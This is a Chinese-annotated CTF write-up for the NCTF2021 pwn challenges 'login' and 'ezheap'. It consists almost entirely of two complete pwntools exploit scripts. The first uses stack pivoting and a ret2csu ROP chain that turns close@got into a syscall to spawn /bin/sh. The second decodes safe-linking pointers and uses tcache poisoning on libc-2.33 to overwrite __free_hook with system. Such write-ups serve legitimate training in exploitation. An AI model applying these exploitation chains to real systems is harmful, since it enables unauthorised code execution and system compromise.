NCTF2021

login

函数中的syscall调用

close函数中有调用syscall

image-20211129205721889

题关闭了 stdoutstderr, 拿到 shell 后 cat flag>&0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'login1'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('81.69.185.153',8011)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

def csu(function,rdi,rsi,rdx):
payload = p64(0) + p64(1) + p64(rdi) + p64(rsi) + p64(rdx) + p64(function)
payload += p64(0x000000000401270)
return payload

elf = ELF(filename)
libc = elf.libc

main = 0x40119a
main_read = 0x0000000004011ED
fake_stack = 0x404090
read_got = 0x404030
close_got = 0x404028
leave = 0x40121f

gdb.attach(p,'b 0x0000000004011E8')

payload = 'a'*0x100 + p64(fake_stack+0x100) + p64(main_read)
p.sendafter('Welcome to NCTF2021!',payload)

payload = p64(0x00000000040128A)
payload += csu(read_got,0,close_got,1) + p64(0)
payload += csu(read_got,0,fake_stack,0x3b) + p64(0)
payload += csu(close_got,fake_stack,0,0)
payload = payload.ljust(0x100,'\x00') + p64(fake_stack-8) + p64(leave)
p.send(payload)

p.send('\xf5')

p.send('/bin/sh\x00'.ljust(0x3B,'\x00'))

# gdb.attach(p)

p.interactive()

ezheap

libc-2.33

申请9个chunk以及一个防止合并的chunk,都free掉之后,8和9都放到unsorted。

再申请一个chunk,来空出一个tcache位置,再free一次chunk9,就有chunk复用。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding:utf-8
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = 'ezheap'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

def cmd(index):
p.sendlineafter('>> ',str(index))

def add(size,content):
cmd(1)
p.sendlineafter('Size: ',str(size))
p.sendlineafter('Content: ',content)

def edit(index,content):
cmd(2)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Content: ',content)

def free(index):
cmd(3)
p.sendlineafter('Index: ',str(index))

def show(index):
cmd(4)
p.sendlineafter('Index: ',str(index))


for i in range(10): #0-9
add(0x80,'a')

for i in range(9): #7 tcache ,2 unsorted bin ,1 use chunk
free(i)

show(1)
tmp = u64(p.recv(8))
ptr0_11=tmp>>36
ptr0_23=((ptr0_11<<24)^tmp)>>24
ptr0_35=((ptr0_23<<12)^tmp)>>12
heap_base=ptr0_35<<12
log.success('heap_base: ' + hex(heap_base))
show(7)
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x10 - 96
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.success('libc_base: ' + hex(libc_base))


add(0x80,'a') #10 # t=6 tcache malloc one chunk 7 -> 6
free(8)
add(0x70,'bbbb') #11

ptr_addr = heap_base+0x720
payload = p64(0) + p64(0x19)
payload += p64(free_hook^(ptr_addr>>12))
add(0x70,payload) #12
add(0x80,'/bin/sh\x00') #13
add(0x80,p64(system_addr)) #14

free(13)

gdb.attach(p)

p.interactive()